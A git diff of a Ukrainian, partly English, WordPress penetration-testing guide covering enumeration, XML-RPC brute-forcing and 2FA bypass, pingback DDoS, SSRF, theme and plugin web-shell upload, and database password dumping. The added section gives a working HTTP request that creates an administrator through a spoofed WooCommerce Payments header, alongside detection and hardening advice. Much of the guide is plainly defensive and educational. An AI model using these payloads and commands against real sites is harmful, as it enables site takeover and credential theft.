diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 2365c3ce1..2ccc02953 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Основна інформація -- **Завантажені** файли знаходяться за адресою: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните деякі php файли теми для отримання RCE, ви, напевно, будете використовувати цей шлях. Наприклад: Використовуючи **тему twentytwelve**, ви можете **доступитися** до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Ще одна корисна URL-адреса може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- У **wp-config.php** ви можете знайти кореневий пароль бази даних. -- Шляхи для входу за замовчуванням для перевірки: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- У файлі **wp-config.php** можна знайти root-пароль до бази даних. +- Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Основні файли WordPress** - `index.php` -- `license.txt` містить корисну інформацію, таку як версія встановленого WordPress. -- `wp-activate.php` використовується для процесу активації електронної пошти при налаштуванні нового сайту WordPress. -- Папки для входу (можуть бути перейменовані для приховування): +- `license.txt` містить корисну інформацію, наприклад версію встановленого WordPress. +- `wp-activate.php` використовується для процесу активації по email при налаштуванні нового сайту WordPress. +- Папки входу (можуть бути перейменовані, щоб сховати їх): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress. -- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми. -- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу. -- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети. -- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями. +- `xmlrpc.php` — файл, який реалізує можливість передачі даних через HTTP з використанням XML як механізму кодування. Цей тип комунікації був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Папка `wp-content` — основний каталог, де зберігаються plugins і themes. +- `wp-content/uploads/` — каталог, куди зберігаються будь-які файли, завантажені на платформу. +- `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, JavaScript-файли та віджети. +- `wp-sitemap.xml` — у версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними постами та публічно доступними типами постів і таксономіями. -**Пост експлуатація** +**Post exploitation** -- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як ім'я бази даних, хост бази даних, ім'я користувача та пароль, ключі аутентифікації та солі, а також префікс таблиці бази даних. Цей конфігураційний файл також може бути використаний для активації режиму DEBUG, що може бути корисним для усунення неполадок. +- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача та пароль, authentication keys and salts, і префікс таблиць бази даних. Цей конфігураційний файл також можна використовувати для активації DEBUG-режиму, що може бути корисним при усуненні неполадок. -### Дозволи користувачів +### Права користувачів -- **Адміністратор** -- **Редактор**: Публікує та керує своїми та чужими постами -- **Автор**: Публікує та керує своїми постами -- **Співробітник**: Пише та керує своїми постами, але не може їх публікувати -- **Підписник**: Переглядає пости та редагує свій профіль +- **Administrator** +- **Editor**: Публікує і керує своїми та чужими постами +- **Author**: Публікує і керує своїми власними постами +- **Contributor**: Пише і керує своїми постами, але не може їх публікувати +- **Subscriber**: Переглядає пости та редагує свій профіль -## **Пасивна енумерація** +## **Пасивна розвідка** ### **Отримати версію WordPress** -Перевірте, чи можете ви знайти файли `/license.txt` або `/readme.html` +Перевірте, чи можна знайти файли `/license.txt` або `/readme.html` -У **джерельному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +У **вихідному коді** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -56,12 +56,14 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- CSS посилання файли +- CSS link файли ![](<../../images/image (533).png>) - JavaScript файли +![](<../../images/image (524).png>) + ### Отримати плагіни ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -70,46 +72,46 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Витяг версій загалом +### Отримання версій загалом ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Активна енумерація -### Плагіни та Теми +### Плагіни та теми -Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки). +Ймовірно, ви не зможете знайти всі доступні плагіни та теми. Щоб виявити всі, вам потрібно **активно Brute Force список плагінів та тем** (сподіваємось, для нас існують автоматизовані інструменти, які містять ці списки). ### Користувачі -- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів: +- **ID Brute:** Ви отримуєте дійсних користувачів з сайту WordPress шляхом Brute Forcing ID користувачів: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Якщо відповіді **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь **400**, тоді id є **недійсним**. +Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id **недійсний**. -- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, запитуючи: +- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, зробивши запит: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Ще один `/wp-json/` кінцевий пункт, який може розкрити деяку інформацію про користувачів, це: +Ще один `/wp-json/` endpoint, який може розкрити деяку інформацію про користувачів, це: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Зверніть увагу, що цей кінцевий пункт лише відкриває користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**. +Note that this endpoint only exposes users that have made a post. **Будуть надані лише відомості про користувачів, у яких ця функція увімкнена**. -Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси. +Also note that **/wp-json/wp/v2/pages** could leak IP-адреси. -- **Перерахування імен користувачів для входу**: Коли ви входите в **`/wp-login.php`**, **повідомлення** є **іншим**, якщо вказане **ім'я користувача існує чи ні**. +- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** і вказує, чи **username exists or not**. ### XML-RPC -Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit), наприклад). +Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес [using this](https://github.com/relarizky/wpxploit) наприклад). -Щоб перевірити, чи активний, спробуйте отримати доступ до _**/xmlrpc.php**_ і надішліть цей запит: +To see if it is active try to access to _**/xmlrpc.php**_ and send this request: -**Перевірити** +**Перевірка** ```html system.listMethods @@ -118,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Брутфорс облікових даних** +**Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі з методів, які можна використовувати для брутфорсу облікових даних. Якщо ви зможете знайти будь-який з них, ви можете надіслати щось на зразок: +**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт: ```html wp.getUsersBlogs @@ -130,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Повідомлення _"Неправильне ім'я користувача або пароль"_ всередині відповіді з кодом 200 повинно з'явитися, якщо облікові дані недійсні. +Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо облікові дані невірні. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -166,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Також є **швидший спосіб** для брутфорсу облікових даних, використовуючи **`system.multicall`**, оскільки ви можете спробувати кілька облікових даних в одному запиті: +Також є **швидший спосіб** для brute-force credentials за допомогою **`system.multicall`** — ви можете спробувати кілька credentials в одному запиті:
-**Обхід 2FA** +**Bypass 2FA** -Цей метод призначений для програм, а не для людей, і є старим, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які можна виконати через консоль, але ви все ще можете отримати доступ до RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Цей метод призначений для програм, а не для людей, і є давнім, тому він не підтримує 2FA. Тому, якщо у вас є дійсні creds, але основний вхід захищено 2FA, **ви можете зловживати xmlrpc.php, щоб увійти за допомогою цих creds, обходячи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але ви все одно можете отримати RCE, як пояснює Ippsec в [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS або сканування портів** +**DDoS or port scanning** -Якщо ви можете знайти метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит до будь-якого хоста/порту.\ -Це можна використовувати, щоб попросити **тисячі** сайтів **Wordpress** **доступитися** до одного **місця** (так що в цьому місці викликано **DDoS**) або ви можете використовувати це, щоб змусити **Wordpress** **сканувати** якусь внутрішню **мережу** (ви можете вказати будь-який порт). +Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\ +Це можна використати, щоб змусити **тисячі** Wordpress **сайтів** звернутися до одного **місця** (внаслідок чого там спричиниться **DDoS**) або ви можете використати це, щоб змусити Wordpress scan деяку внутрішню **network** (ви можете вказати будь-який порт). ```html pingback.ping @@ -189,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Якщо ви отримали **faultCode** зі значенням **більше** ніж **0** (17), це означає, що порт відкритий. +Якщо ви отримаєте **faultCode** зі значенням **більшим**, ніж **0** (17), це означає, що порт відкритий. -Подивіться на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для виклику DDoS. +Погляньте на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS. **DDoS** ```html @@ -207,17 +209,17 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### wp-cron.php DoS -Цей файл зазвичай існує в кореневій директорії сайту Wordpress: **`/wp-cron.php`**\ -Коли цей файл **доступний**, виконується "**важкий**" MySQL **запит**, тому його можуть використовувати **зловмисники** для **виклику** **DoS**.\ -Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS). +Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\ +Коли до цього файлу **звертаються**, виконується **«важкий»** MySQL **запит**, тому його можуть використовувати **зловмисники** щоб **спричинити** **DoS**.\ +Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку Wordpress сторінку), що на сайтах з великим трафіком може спричинити проблеми (DoS). -Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хостингу, який виконує необхідні дії з регулярним інтервалом (без виклику проблем). +Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем). ### /wp-json/oembed/1.0/proxy - SSRF -Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Worpress може надіслати запит до вас. +Спробуйте звернутися до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може виконати запит до вас. -Ось відповідь, коли це не працює: +This is the response when it doesn't work: ![](<../../images/image (365).png>) @@ -228,100 +230,100 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати. +Цей інструмент перевіряє, чи присутній **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати. -## Automatic Tools +## Автоматичні інструменти ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Отримання доступу шляхом перезапису біта +## Отримати доступ, перезаписавши біт -Більше ніж реальна атака, це цікавість. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) ви могли перевернути 1 біт з будь-якого файлу wordpress. Тож ви могли перевернути позицію `5389` файлу `/var/www/html/wp-includes/user.php`, щоб NOP операцію NOT (`!`). +Більше це цікавість, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] можна було перевернути 1 біт у будь-якому wordpress файлі. Тож можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Зміна php з теми, що використовується (потрібні облікові дані адміністратора)** +**Зміна php-файлу у використаній темі (admin credentials needed)** -Зовнішній вигляд → Редактор тем → Шаблон 404 (праворуч) +Appearance → Theme Editor → 404 Template (праворуч) -Змініть вміст на php shell: +Замініть вміст на php shell: ![](<../../images/image (384).png>) -Шукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -Ви можете використовувати: +Можна використати: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +щоб отримати сесію. ## Plugin RCE -### PHP плагін +### PHP plugin -Можливо, що можна завантажити .php файли як плагін.\ -Створіть свій php бекдор, використовуючи, наприклад: +It may be possible to upload .php files as a plugin.\ +Створіть свій php backdoor, наприклад: ![](<../../images/image (183).png>) -Потім додайте новий плагін: +Then add a new plugin: ![](<../../images/image (722).png>) -Завантажте плагін і натисніть Встановити зараз: +Upload plugin and press Install Now: ![](<../../images/image (249).png>) -Натисніть Продовжити: +Click on Procced: ![](<../../images/image (70).png>) -Ймовірно, це нічого не зробить на перший погляд, але якщо ви перейдете до Медіа, ви побачите завантажену оболонку: +Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: ![](<../../images/image (462).png>) -Доступ до неї, і ви побачите URL для виконання реверсної оболонки: +Access it and you will see the URL to execute the reverse shell: ![](<../../images/image (1006).png>) -### Завантаження та активація шкідливого плагіна +### Uploading and activating malicious plugin -Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, який можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином: +This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: -1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374). -2. **Встановлення плагіна**: -- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель управління > Плагіни > Завантажити плагін`. -- Завантажте zip-файл завантаженого плагіна. -3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління. -4. **Експлуатація**: -- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий. -- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту. -- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress. +1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation**: +- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`. +- Upload the zip file of the downloaded plugin. +3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard. +4. **Exploitation**: +- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable. +- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site. +- It's noted that this is just one of the many methods to exploit a WordPress site. -Контент включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом. +Контент включає візуальні підказки, що ілюструють кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною і неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing з явним дозволом. -**Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## Від XSS до RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для отримання додаткової інформації перевірте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій WordPress 6.X.X, 5.X.X та 4.X.X і дозволяє:** -- _**Ескалація привілеїв:**_ Створює користувача в WordPress. -- _**(RCE) Завантаження користувацького плагіна (бекдору):**_ Завантажте свій користувацький плагін (бекдор) до WordPress. -- _**(RCE) Редагування вбудованого плагіна:**_ Редагуйте вбудовані плагіни в WordPress. -- _**(RCE) Редагування вбудованої теми:**_ Редагуйте вбудовані теми в WordPress. -- _**(Користувацький) Користувацькі експлойти:**_ Користувацькі експлойти для сторонніх плагінів/тем WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує підтримку для Wordpress Versions 6.X.X, 5.X.X and 4.X.X та дозволяє: +- _**Privilege Escalation:**_ Створює користувача в WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує власний плагін (backdoor) у WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress. +- _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress. +- _**(Custom) Custom Exploits:**_ Експлойти для сторонніх плагінів/тем WordPress. -## Постексплуатація +## Post Exploitation -Витягніть імена користувачів та паролі: +Отримати імена користувачів та паролі: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -331,15 +333,15 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Attack Surface +### Поверхня атаки -Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/). +Знання того, як плагін Wordpress може виставляти функціональність, є ключовим для знаходження вразливостей у його функціональності. Ви можете побачити, як плагін може виставляти функціональність у наступних пунктах та приклади вразливих плагінів у [**цей пост у блозі**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Один із способів, яким плагін може відкривати функції для використання, - це через AJAX обробники. Ці обробники можуть містити логіку, помилки авторизації або аутентифікації. Більше того, досить часто ці функції базують як аутентифікацію, так і авторизацію на існуванні nonce Wordpress, який **будь-який користувач, що аутентифікований у екземплярі Wordpress, може мати** (незалежно від його ролі). +Один зі способів, яким плагін може виставляти функції — через AJAX обробники. Ці обробники можуть містити помилки в логіці, авторизації або автентифікації. Крім того, досить часто ці функції будуть базувати й аутентифікацію, й авторизацію на наявності wordpress nonce, який **будь-який аутентифікований користувач в екземплярі Wordpress може мати** (незалежно від його ролі). -Це функції, які можуть бути використані для відкриття функції в плагіні: +Це функції, які можуть використовуватись для виставлення функції в плагіні: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -347,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Використання `nopriv` робить кінцеву точку доступною для будь-яких користувачів (навіть неавтентифікованих).** > [!CAUTION] -> Більше того, якщо функція просто перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція просто перевіряє, чи увійшов користувач, зазвичай не перевіряючи роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. +> Більше того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач аутентифікований, і зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть отримати доступ до дій з високими привілеями. - **REST API** -Також можливо експонувати функції з WordPress, реєструючи REST API за допомогою функції `register_rest_route`: +Також можливо відкрити доступ до функцій wordpress, зареєструвавши REST API за допомогою функції `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -361,23 +363,68 @@ $this->namespace, '/get/', array( ) ); ``` -`permission_callback` — це зворотний виклик функції, яка перевіряє, чи має даний користувач право викликати метод API. +The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований певний користувач для виклику методу API. **Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.** -- **Прямий доступ до php файлу** +- **Прямий доступ до PHP-файлу** -Звичайно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Отже, якщо плагін відкриває будь-яку вразливу функціональність, яка активується просто доступом до файлу, це буде експлуатовано будь-яким користувачем. +Звісно, Wordpress використовує PHP і файли всередині плагінів доступні напряму через веб. Тому якщо плагін відкриває якусь вразливу функціональність, яка спрацьовує просто при доступі до файлу, вона буде експлуатована будь-яким користувачем. -### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Тема Litho <= 3.0) +### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати: +Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок для встановлення контексту поточного користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, нападник може spoof його і звернутися до привілейованих REST-маршрутів як адміністратор. -1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і -2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і -3. **Сувору санітизацію / валідацію введення**. +- Impact: неавторизоване підвищення привілеїв до адміністратора шляхом створення нового адміністратора через core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора). +- Exploited route: `POST /wp-json/wp/v2/users` з масивом ролей з підвищеними правами. -Тема Litho (мультифункціональна) (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений): +PoC +```http +POST /wp-json/wp/v2/users HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 +Accept: application/json +Content-Type: application/json +X-Wcpay-Platform-Checkout-User: 1 +Content-Length: 114 + +{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} +``` +Чому це працює + +- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації і пропускає перевірки прав. +- Ядро WordPress очікує наявність `create_users` capability для цього маршруту; хак плагіну обходить це, безпосередньо встановлюючи поточний контекст користувача з заголовка. + +Очікувані індикатори успіху + +- HTTP 201 з JSON-тiлом, що описує створеного користувача. +- Новий адмін-користувач, видимий у `wp-admin/users.php`. + +Контрольний список для виявлення + +- Шукати `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Переглянути реєстрації REST на предмет привілейованих callback-ів, які позбавлені надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту. +- Шукати використання функцій керування користувачами ядра (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступ до яких обмежений лише значеннями заголовків. + +Зміцнення безпеки + +- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом. +- Якщо reverse proxy має інжектити ідентичність, завершіть довіру на проксі і видаляйте вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на краю), потім передавайте підписаний токен і перевіряйте його на сервері. +- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та жорсткого `permission_callback` (не використовуйте `__return_true`). +- Віддавайте перевагу першопартійній автентифікації (cookies, application passwords, OAuth) замість «імітації» через заголовки. + +Посилання: див. посилання в кінці цієї сторінки для публічного випадку та ширшого аналізу. + +### Неавтентифіковане довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0) + +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: + +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. + +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -396,31 +443,31 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); 